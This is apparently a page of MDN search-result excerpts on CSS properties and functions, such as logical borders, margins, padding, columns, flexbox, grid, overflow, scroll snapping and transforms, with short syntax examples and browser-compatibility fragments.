(this property has no effect on 2d transforms, which have no perspective.) syntax /* keyword values */ backface-visibility: visible; backface-visibility: hidden; /* global values */ backface-visibility: inherit; backface-visibility: initial; backface-visibility: unset; the backface-visibility property is specified as one of the keywords listed below.
...: 150px; margin: 75px 0 0 75px; border: none; } .cube { width: 100%; height: 100%; perspective: 550px; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } ...
border-block-color - CSS: Cascading Style Sheets
the border-block-color css property defines the color of the logical block borders of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... border-block-color: yellow; border-block-color: #f5f6f7; the border color in the other dimension can be set with border-inline-color which sets border-inline-start-color, and border-inline-end-color.
border-block-end-color - CSS: Cascading Style Sheets
the border-block-end-color css property defines the color of the logical block-end border of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... syntax border-block-end-color: yellow; border-block-end-color: #f5f6f7; related properties are border-block-start-color, border-inline-start-color, and border-inline-end-color, which define the other border colors of the element.
border-block-end-style - CSS: Cascading Style Sheets
the border-block-end-style css property defines the style of the logical block-end border of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... syntax /* <'border-style'> values */ border-block-end-style: dashed; border-block-end-style: dotted; border-block-end-style: groove; related properties are border-block-start-style, border-inline-start-style, and border-inline-end-style, which define the other border styles of the element.
border-block-end-width - CSS: Cascading Style Sheets
the border-block-end-width css property defines the width of the logical block-end border of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... syntax /* <'border-width'> values */ border-block-end-width: 5px; border-block-end-width: thick; related properties are border-block-start-width, border-inline-start-width, and border-inline-end-width, which define the other border widths of the element.
border-block-start-color - CSS: Cascading Style Sheets
the border-block-start-color css property defines the color of the logical block-start border of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... syntax border-block-start-color: blue; border-block-start-color: #4c5d21; related properties are border-block-end-color, border-inline-start-color, and border-inline-end-color, which define the other border colors of the element.
border-block-start-style - CSS: Cascading Style Sheets
the border-block-start-style css property defines the style of the logical block start border of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... syntax /* <'border-style'> values */ border-block-start-style: dashed; border-block-start-style: dotted; border-block-start-style: groove; related properties are border-block-end-style, border-inline-start-style, and border-inline-end-style, which define the other border styles of the element.
border-block-start-width - CSS: Cascading Style Sheets
the border-block-start-width css property defines the width of the logical block-start border of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... syntax /* <'border-width'> values */ border-block-start-width: 5px; border-block-start-width: thick; related properties are border-block-end-width, border-inline-start-width, and border-inline-end-width, which define the other border widths of the element.
border-block-style - CSS: Cascading Style Sheets
the border-block-style css property defines the style of the logical block borders of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... /* <'border-style'> values */ border-block-style: dashed; border-block-style: dotted; border-block-style: groove; the border style in the other dimension can be set with border-inline-style, which sets border-inline-start-style, and border-inline-end-style.
border-block-width - CSS: Cascading Style Sheets
the border-block-width css property defines the width of the logical block borders of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... /* <'border-width'> values */ border-block-width: 5px; border-block-width: thick; the border width in the other dimension can be set with border-inline-width, which sets border-inline-start-width, and border-inline-end-width.
border-bottom-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-bottom-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-color' in that specification.
... candidate recommendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
border-bottom-style - CSS: Cascading Style Sheets
-bottom-style: dotted; border-bottom-style: dashed; border-bottom-style: solid; border-bottom-style: double; border-bottom-style: groove; border-bottom-style: ridge; border-bottom-style: inset; border-bottom-style: outset; /* global values */ border-bottom-style: inherit; border-bottom-style: initial; border-bottom-style: unset; the border-bottom-style property is specified as a single keyword chosen from those available for the border-style property.
... candidate recommendation no significant change.
border-image-outset - CSS: Cascading Style Sheets
the border-image-outset css property sets the distance by which an element's border image is set out from its border box.
...each value is a <length> or <number>.
border-inline-color - CSS: Cascading Style Sheets
the border-inline-color css property defines the color of the logical inline borders of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... border-inline-color: yellow; border-inline-color: #f5f6f7; the border color in the other dimension can be set with border-block-color which sets border-block-start-color, and border-block-end-color.
border-inline-end-color - CSS: Cascading Style Sheets
the border-inline-end-color css property defines the color of the logical inline-end border of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... syntax border-inline-end-color: rebeccapurple; border-inline-end-color: #663399; related properties are border-block-start-color, border-block-end-color, and border-inline-start-color, which define the other border colors of the element.
border-inline-end-style - CSS: Cascading Style Sheets
the border-inline-end-style css property defines the style of the logical inline end border of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... syntax /* <'border-style'> values */ border-inline-end-style: dashed; border-inline-end-style: dotted; border-inline-end-style: groove; related properties are border-block-start-style, border-block-end-style, and border-inline-start-style, which define the other border styles of the element.
border-inline-end-width - CSS: Cascading Style Sheets
the border-inline-end-width css property defines the width of the logical inline-end border of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... syntax /* <'border-width'> values */ border-inline-end-width: 2px; border-inline-end-width: thick; related properties are border-block-start-width, border-block-end-width, and border-inline-start-width, which define the other border widths of the element.
border-inline-start-color - CSS: Cascading Style Sheets
the border-inline-start-color css property defines the color of the logical inline start border of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... syntax border-inline-start-color: red; border-inline-start-color: #ee4141; related properties are border-block-start-color, border-block-end-color, and border-inline-end-color, which define the other border colors of the element.
border-inline-start-style - CSS: Cascading Style Sheets
the border-inline-start-style css property defines the style of the logical inline start border of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... syntax /* <'border-style'> values */ border-inline-start-style: dashed; border-inline-start-style: dotted; border-inline-start-style: groove; related properties are border-block-start-style, border-block-end-style, and border-inline-end-style, which define the other border styles of the element.
border-inline-start-width - CSS: Cascading Style Sheets
the border-inline-start-width css property defines the width of the logical inline-start border of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... syntax /* <'border-width'> values */ border-inline-start-width: 5px; border-inline-start-width: thick; related properties are border-block-start-width, border-block-end-width, and border-inline-end-width, which define the other border widths of the element.
border-inline-style - CSS: Cascading Style Sheets
the border-inline-style css property defines the style of the logical inline borders of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... /* <'border-style'> values */ border-inline-style: dashed; border-inline-style: dotted; border-inline-style: groove; the border style in the other dimension can be set with border-block-style, which sets border-block-start-style, and border-block-end-style.
border-inline-width - CSS: Cascading Style Sheets
the border-inline-width css property defines the width of the logical inline borders of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... /* <'border-width'> values */ border-inline-width: 5px 10px; border-inline-width: 5px; border-inline-width: thick; the border width in the other dimension can be set with border-block-width, which sets border-block-start-width, and border-block-end-width.
border-left-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-left-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-color' in that specification.
... candidate recommendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
border-right-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-right-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-color' in that specification.
... candidate recommendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
border-top-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-top-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-color' in that specification.
... candidate recommendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
border-top-style - CSS: Cascading Style Sheets
ne; border-top-style: hidden; border-top-style: dotted; border-top-style: dashed; border-top-style: solid; border-top-style: double; border-top-style: groove; border-top-style: ridge; border-top-style: inset; border-top-style: outset; /* global values */ border-top-style: inherit; border-top-style: initial; border-top-style: unset; the border-top-style property is specified as a single keyword chosen from those available for the border-style property.
... candidate recommendation no significant change.
column-rule-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples setting a blue column rule html <p>this is a bunch of text split into three columns.
... the `column-rule-color` property is used to change the color of the line that is drawn between columns.
column-rule-style - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies tomulticol elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-style'> examples setting a dashed column rule html <p>this is a bunch of text split into three columns.
... the `column-rule-style` property is used to change the style of the line that is drawn between columns.
column-rule-width - CSS: Cascading Style Sheets
formal definition initial valuemediumapplies tomulticol elementsinheritednocomputed valuethe absolute length; 0 if the column-rule-style is none or hiddenanimation typea length formal syntax <'border-width'> examples setting a thick column rule html <p>this is a bunch of text split into three columns.
... the `column-rule-width` property is used to change the width of the line that is drawn between columns.
column-rule - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:column-rule-width: mediumcolumn-rule-style: nonecolumn-rule-color: currentcolorapplies tomulticol elementsinheritednocomputed valueas each of the properties of the shorthand:column-rule-color: computed colorcolumn-rule-style: as specifiedcolumn-rule-width: the absolute length; 0 if the column-rule-style is none or hiddenanimation typeas each of the properties of...
...ule-width'> | <'column-rule-style'> | <'column-rule-color'> examples example 1 /* same as "medium dotted currentcolor" */ p.foo { column-rule: dotted; } /* same as "medium solid blue" */ p.bar { column-rule: solid blue; } /* same as "8px solid currentcolor" */ p.baz { column-rule: solid 8px; } p.abc { column-rule: thick inset blue; } example 2 html <p class="content-box"> this is a bunch of text split into three columns.
column-width - CSS: Cascading Style Sheets
especially in the presence of the column-count property (which has precedence), you must specify all related length values to achieve an exact column width.
... auto the width of the column is determined by other css properties, such as column-count.
columns - CSS: Cascading Style Sheets
WebCSScolumns
<'column-count'> the ideal number of columns into which the element's content should be flowed, defined as an <integer> or the keyword auto.
... formal definition initial valueas each of the properties of the shorthand:column-width: autocolumn-count: autoapplies toblock containers except table wrapper boxesinheritednocomputed valueas each of the properties of the shorthand:column-width: the absolute length, zero or largercolumn-count: as specifiedanimation typeas each of the properties of the shorthand:column-width: a lengthcolumn-count: an integer formal syntax <'column-width'> | <'column-count'> examples setting three equal columns html <p class="content-box"> this is a bunch of text split into three columns using the css `columns` property.
<display-internal> - CSS: Cascading Style Sheets
some layout models such as table and ruby have a complex internal structure, with several different roles that their children and descendants can fill.
... this page defines those "internal" display values, which only have meaning within that particular layout mode.
empty-cells - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetempty-cellschrome full support 1edge full support 12firefox full support 1ie full support 8opera full support 4safari full support 1.2webview android full support 1chrome android full support 18firefox android full support 4opera android ...
blur() - CSS: Cascading Style Sheets
it defines the value of the standard deviation to the gaussian function, i.e., how many pixels on the screen blend into each other; thus, a larger value will create more blur.
... a value of 0 leaves the input unchanged.
hue-rotate() - CSS: Cascading Style Sheets
syntax hue-rotate(angle) parameters angle the relative change in hue of the input sample, specified as an <angle>.
... a value of 0deg leaves the input unchanged.
fit-content() - CSS: Cascading Style Sheets
the function can be used as a track size in css grid properties, where the maximum size is defined by max-content and the minimum size by auto, which is calculated similar to auto (i.e., minmax(auto, max-content)), except that the track size is clamped at argument if it is greater than the auto minimum.
... /* <length> values */ fit-content(200px) fit-content(5cm) fit-content(30vw) fit-content(100ch) /* <percentage> value */ fit-content(40%) values <length> an absolute length.
flex-basis - CSS: Cascading Style Sheets
then, flex-basis:auto was changed to mean automatic sizing, and "main-size" was introduced as the "look at my width or height property" keyword.
... then, that change was reverted in bug 1093316, so auto once again means "look at my width or height property"; and a new content keyword is being introduced to trigger automatic sizing.
flex-direction - CSS: Cascading Style Sheets
syntax /* the direction text is laid out in a line */ flex-direction: row; /* like <row>, but reversed */ flex-direction: row-reverse; /* the direction in which lines of text are stacked */ flex-direction: column; /* like <column>, but reversed */ flex-direction: column-reverse; /* global values */ flex-direction: inherit; flex-direction: initial; flex-direction: unset; values the following values are accepted: row the flex container's main-axis is defined to be the same as the text direction.
...this will adversely affect users experiencing low vision navigating with the aid of assistive technology such as a screen reader.
flex-wrap - CSS: Cascading Style Sheets
WebCSSflex-wrap
syntax flex-wrap: nowrap; /* default value */ flex-wrap: wrap; flex-wrap: wrap-reverse; /* global values */ flex-wrap: inherit; flex-wrap: initial; flex-wrap: unset; the flex-wrap property is specified as a single keyword chosen from the list of values below.
... values the following values are accepted: nowrap the flex items are laid out in a single line which may cause the flex container to overflow.
flex - CSS: Cascading Style Sheets
WebCSSflex
to change this, set the item's min-width or min-height.
... formal definition initial valueas each of the properties of the shorthand:flex-grow: 0flex-shrink: 1flex-basis: autoapplies toflex items, including in-flow pseudo-elementsinheritednocomputed valueas each of the properties of the shorthand:flex-grow: as specifiedflex-shrink: as specifiedflex-basis: as specified, but with relative lengths converted into absolute lengthsanimation typeas each of the properties of the shorthand:flex-grow: a numberflex-shrink: a numberflex-basis: a length, percentage or calc(); formal syntax none | [ <'flex-grow'> <'flex-shrink'>?
<frequency> - CSS: Cascading Style Sheets
WebCSSfrequency
the <frequency> css data type represents a frequency dimension, such as the pitch of a speaking voice.
... note: this data type was initially introduced in css level 2 for the now-obsolete aural media type, where it was used to define the pitch of the voice.
gap (grid-gap) - CSS: Cascading Style Sheets
WebCSSgap
<'row-gap'> and <'column-gap'> are each specified as a <length> or a <percentage>.
... formal definition initial valueas each of the properties of the shorthand:row-gap: normalcolumn-gap: normalapplies tomulti-column elements, flex containers, grid containersinheritednocomputed valueas each of the properties of the shorthand:row-gap: as specified, with <length>s made absolute, and normal computing to zero except on multi-column elementscolumn-gap: as specified, with <length>s made absolute, and normal computing to zero except on multi-column elementsanimation typeas each of the properties of the shorthand:row-gap: a length, percentage or calc();column-gap: a length, percentage or calc(); f...
grid-auto-rows - CSS: Cascading Style Sheets
each <flex>-sized track takes a share of the remaining space in proportion to its flex factor.
... note: auto track sizes (and only auto track sizes) can be stretched by the align-content and justify-content properties.
grid-template - CSS: Cascading Style Sheets
sets grid-template-areas to the strings listed, grid-template-rows to the track sizes following each string (filling in auto for any missing sizes), and splicing in the named lines defined before/after each size, and grid-template-columns to the track listing specified after the slash (or none, if not specified).
... formal definition initial valueas each of the properties of the shorthand:grid-template-columns: nonegrid-template-rows: nonegrid-template-areas: noneapplies togrid containersinheritednopercentagesas each of the properties of the shorthand:grid-template-columns: refer to corresponding dimension of the content areagrid-template-rows: refer to corresponding dimension of the content areacomputed valueas each of the properties of the shor...
grid - CSS: Cascading Style Sheets
WebCSSgrid
formal definition initial valueas each of the properties of the shorthand:grid-template-rows: nonegrid-template-columns: nonegrid-template-areas: nonegrid-auto-rows: autogrid-auto-columns: autogrid-auto-flow: rowgrid-column-gap: 0grid-row-gap: 0column-gap: normalrow-gap: normalapplies togrid containersinheritednopercentagesas each of the properties of the shorthand:grid-template-rows: refer to corresponding dimension of the content ar...
...eagrid-template-columns: refer to corresponding dimension of the content areagrid-auto-rows: refer to corresponding dimension of the content areagrid-auto-columns: refer to corresponding dimension of the content areacomputed valueas each of the properties of the shorthand:grid-template-rows: as specified, but with relative lengths converted into absolute lengthsgrid-template-columns: as specified, but with relative lengths converted into absolute lengthsgrid-template-areas: as specifiedgrid-auto-rows: the percentage as specified or the absolute lengthgrid-auto-columns: the percentage as specified or the absolute lengthgrid-auto-flow: as specifiedgrid-column-gap: the percentage as specified or the absolute lengthgrid-row-gap: the percentage as specified or the absolute lengthcolumn-gap: as sp...
initial-letter-align - CSS: Cascading Style Sheets
values auto the user agent selects the value which corresponds to the language of the text.
... formal definition initial valueautoapplies to::first-letter pseudo-elements and inline-level first child of a block containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ auto | alphabetic | hanging | ideographic ] examples aligning initial letter html <p class="auto ">initial letter - auto</p> <p class="alphabetic">initial letter - alphabetic</p> <p class="hanging">initial letter - hanging</p> <p class="ideographic">initial letter - ideographic</p> css .aut...
list-style-position - CSS: Cascading Style Sheets
chrome and safari both place this element on the same line as the marker box, whereas firefox, internet explorer, and opera place it on the next line.
... working draft no change.
margin-block-end - CSS: Cascading Style Sheets
the margin-block-end css property defines the logical block end margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation.
... it relates to margin-block-start, margin-inline-start, and margin-inline-end, which define the other margins of the element.
margin-block-start - CSS: Cascading Style Sheets
the margin-block-start css property defines the logical block start margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation.
... it relates to margin-block-end, margin-inline-start, and margin-inline-end, which define the other margins of the element.
margin-bottom - CSS: Cascading Style Sheets
this property has no effect on non-replaced inline elements, such as <span> or <code>.
... working draft no significant change css level 2 (revision 1)the definition of 'margin-bottom' in that specification.
margin-inline-end - CSS: Cascading Style Sheets
the margin-inline-end css property defines the logical inline end margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation.
... /* an absolute length */ margin-inline-end: 1em; /* relative to the text size */ margin-inline-end: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-inline-end: auto; /* global values */ margin-inline-end: inherit; margin-inline-end: initial; margin-inline-end: unset; it relates to margin-block-start, margin-block-end, and margin-inline-start, which define the other margins of the element.
margin-inline-start - CSS: Cascading Style Sheets
the margin-inline-start css property defines the logical inline start margin of an element, which maps to a physical margin depending on the element's writing mode, directionality, and text orientation.
...x /* <length> values */ margin-inline-start: 10px; /* an absolute length */ margin-inline-start: 1em; /* relative to the text size */ margin-inline-start: 5%; /* relative to the nearest block container's width */ /* keyword values */ margin-inline-start: auto; /* global values */ margin-inline-start: inherit; it relates to margin-block-start, margin-block-end, and margin-inline-end, which define the other margins of the element.
margin-top - CSS: Cascading Style Sheets
this property has no effect on non-replaced inline elements, such as <span> or <code>.
... working draft no significant change css level 2 (revision 1)the definition of 'margin-top' in that specification.
mask-border-source - CSS: Cascading Style Sheets
the mask-border-slice property is used to divide the source image into regions, which are then dynamically applied to the final mask border.
... mask-border-source: url(image.jpg); chromium-based browsers support an outdated version of this property — mask-box-image-source — with a prefix: -webkit-mask-box-image-source: url(image.jpg); note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-type - CSS: Cascading Style Sheets
WebCSSmask-type
/* keyword values */ mask-type: luminance; mask-type: alpha; /* global values */ mask-type: inherit; mask-type: initial; mask-type: unset; this property may be overridden by the mask-mode property, which has the same effect but applies to the element where the mask is used.
... alpha is a keyword indicating that the associated mask image is an alpha mask, i.e., that its alpha channel values must be used when applying it.
minmax() - CSS: Cascading Style Sheets
WebCSSminmax
each parameter can be a <length>, a <percentage>, a <flex> value, or one of the keyword values max-content, min-content, or auto.
...each <flex>-sized track takes a share of the remaining space in proportion to its flex factor.
<number> - CSS: Cascading Style Sheets
WebCSSnumber
editor's draft no significant change.
... candidate recommendation no significant change.
outline-offset - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoutline-offsetchrome full support 1edge full support 15firefox full support 1.5ie no support noopera full support 9.5safari full support 1.2webview android full support 37chrome android full support 18firefox android full support 4opera an...
overflow-block - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-block: visible; overflow-block: hidden; overflow-block: scroll; overflow-block: auto; /* global values */ overflow-block: inherit; overflow-block: initial; overflow-block: unset; the overflow-block property is specified as a single keyword chosen from the list of values below.
...(this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-inline - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-inline: visible; overflow-inline: hidden; overflow-inline: scroll; overflow-inline: auto; /* global values */ overflow-inline: inherit; overflow-inline: initial; overflow-inline: unset; the overflow-inline property is specified as a single keyword chosen from the list of values below.
...(this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-x - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-x: visible; overflow-x: hidden; overflow-x: clip; overflow-x: scroll; overflow-x: auto; /* global values */ overflow-x: inherit; overflow-x: initial; overflow-x: unset; the overflow-x property is specified as a single keyword chosen from the list of values below.
...(this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-y - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-y: visible; overflow-y: hidden; overflow-y: clip; overflow-y: scroll; overflow-y: auto; /* global values */ overflow-y: inherit; overflow-y: initial; overflow-y: unset; the overflow-y property is specified as a single keyword chosen from the list of values below.
...(this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
padding-block-end - CSS: Cascading Style Sheets
the padding-block-end css property defines the logical block end padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation.
... it relates to padding-block-start, padding-inline-start, and padding-inline-end, which define the other paddings of the element.
padding-block-start - CSS: Cascading Style Sheets
the padding-block-start css property defines the logical block start padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation.
... it relates to padding-block-end, padding-inline-start, and padding-inline-end, which define the other paddings of the element.
padding-inline-end - CSS: Cascading Style Sheets
the padding-inline-end css property defines the logical inline end padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation.
... it relates to padding-block-start, padding-block-end, and padding-inline-start, which define the other paddings of the element.
padding-inline-start - CSS: Cascading Style Sheets
the padding-inline-start css property defines the logical inline start padding of an element, which maps to a physical padding depending on the element's writing mode, directionality, and text orientation.
... it relates to padding-block-start, padding-block-end, and padding-inline-end, which define the other paddings of the element.
page-break-after - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpage-break-afterchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes the values avoid, left, and right are unsupported.ie full support 4opera full support 7safari full support 1.2webview android full support 37chrome android ...
page-break-before - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpage-break-beforechrome full support 1edge full support 12firefox full support 1notes full support 1notes notes the values avoid, left, and right are unsupported.ie full support 4opera full support 7safari full support 1.2webview android full support 37chrome android ...
paint() - CSS: Cascading Style Sheets
WebCSSpaint
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpaint()chrome full support 65edge full support 79firefox no support noie no support noopera full support 52safari no support nowebview android full support 65chrome android full support 65firefox android no support noopera android ...
repeat() - CSS: Cascading Style Sheets
WebCSSrepeat
each <flex>-sized track takes a share of the remaining space in proportion to its flex factor.
...treating each track as its maximal track sizing function (each independant value used to define grid-template-rows or grid-template-columns), if that is definite.
ruby-align - CSS: Cascading Style Sheets
formal definition initial valuespace-aroundapplies toruby bases, ruby annotations, ruby base containers, ruby annotation containersinheritedyescomputed valueas specifiedanimation typediscrete formal syntax start | center | space-between | space-around examples ruby aligned at the start of the base text html <ruby> <rb>this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: start; } result ruby aligned at the center of the base text html <ruby> <rb>this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: center; } result extra space distributed between ruby elements html <ruby> <rb>this is a long text to...
... check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: space-between; } result extra space distributed between and around ruby elements html <ruby> <rb>this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: space-around; } result specifications specification status comment css ruby layout module level 1the definition of 'ruby-align' in that specification.
scroll-padding - CSS: Cascading Style Sheets
the scroll-padding shorthand property sets scroll padding on all sides of an element at once, much like the padding property does for padding on an element.
...this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars), or simply to put more breathing room between a targeted element and the edges of the scrollport.
scroll-snap-points-x - CSS: Cascading Style Sheets
repeat(<length-percentage>) defines an interval at which snap points are defined, starting from the container's relevant start edge.
...iv id="container"> <div>1</div> <div>2</div> <div>3</div> </div> css #container { width: 200px; overflow: auto; white-space: nowrap; scroll-snap-points-x: repeat(100%); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #container > div:nth-child(even) { background-color: #87ea87; } #container > div:nth-child(odd) { background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-points-y - CSS: Cascading Style Sheets
repeat(<length-percentage>) defines an interval at which snap points are defined, starting from the container's relevant start edge.
... <div>1</div> <div>2</div> <div>3</div> </div> css #container { height: 200px; width: 220px; overflow-x: hidden; overflow-y: auto; scroll-snap-points-y: repeat(200px); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #container > div:nth-child(even) { background-color: #87ea87; } #container > div:nth-child(odd) { background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-type - CSS: Cascading Style Sheets
both the scroll container snaps to snap positions in both of its axes independently (potentially snapping to different elements in each axis).
... } .y.proximity-scroll-snapping { scroll-snap-type: y proximity; } .container > div { text-align: center; scroll-snap-align: center; flex: none; } .x.container > div { line-height: 128px; font-size: 64px; width: 100%; height: 128px; } .y.container > div { line-height: 256px; font-size: 128px; width: 256px; height: 100%; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) { background-color: #87ea87; } .container > div:nth-child(odd) { background-color: #87ccea; } results specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-type' in that specification.
text-emphasis-position - CSS: Cascading Style Sheets
in chinese, on the other hand, the preferred position is under right.
... the informative table below summarizes the preferred emphasis mark positions for chinese, mongolian and japanese: preferred emphasis mark and ruby position language preferred position illustration horizontal vertical japanese over right korean mongolian chinese under right note: the text-emphasis-position cannot be set, and therefore are not reset either, using the text-emphasis shorthand property.
text-shadow - CSS: Cascading Style Sheets
each shadow is described by some combination of x and y offsets from the element, blur radius, and color.
... each shadow is specified as two or three <length> values, followed optionally by a <color> value.
text-size-adjust - CSS: Cascading Style Sheets
instead of laying out pages at the width of the device screen, they lay them out using a viewport that is much wider, usually 800 or 1000 pixels.
... <percentage> enables the browser's inflation algorithm, specifying a percentage value with which to increase the font size.
transform-box - CSS: Cascading Style Sheets
the transform-box css property defines the layout box to which the transform and transform-origin properties relate.
... svg{ width:80vh; border:1px solid #d9d9d9; position:absolute; margin: auto; top: 0; right: 0; bottom: 0; left: 0; } #box{ transform-origin:50% 50%; /*+++++++++++++++++++++++++++*/ /* if i remove this rule the pen won't work properly on chrome for mac, ff, safari will still work properly on chrome for pc & opera*/ transform-box: fill-box; /*alternatively i can use transform-origin:15px 15px;*/ /*+++++++++++++++++++++++++++*/ animation: rotatebox 3s linear infinite; } @keyframes rotatebox { to { transform: rotate(360deg); } full credit for this example goes to pogany; see this codepen for a live version.
matrix3d() - CSS: Cascading Style Sheets
a1a2a3a4b1b2b3b4c1c2c3c4d1d2d3d4 examples cube squashing example the following example shows a 3d cube created from dom elements and transforms, which can be hovered/focused to apply a matrix3d() transform to it.
...nsform: rotatey(90deg) translatez(50px); } .left { background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top { background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } result matrix translation and scale example another transform3d() example, which implements an animated combined translate and scale.
scaleX() - CSS: Cascading Style Sheets
it modifies the abscissa of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform.
... syntax scalex(s) values s is a <number> representing the scaling factor to apply on the abscissa of each point of the element.
scaleY() - CSS: Cascading Style Sheets
it modifies the ordinate of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform.
... transform: rotatex(180deg); === transform: scaley(-1); syntax scaley(s) values s is a <number> representing the scaling factor to apply on the ordinate of each point of the element.
skewX() - CSS: Cascading Style Sheets
this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the horizontal direction.
... the abscissa coordinate of each point is modified by a value proportionate to the specified angle and the distance to the origin; thus, the farther from the origin a point is, the greater will be the value added it.
skewY() - CSS: Cascading Style Sheets
this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the vertical direction.
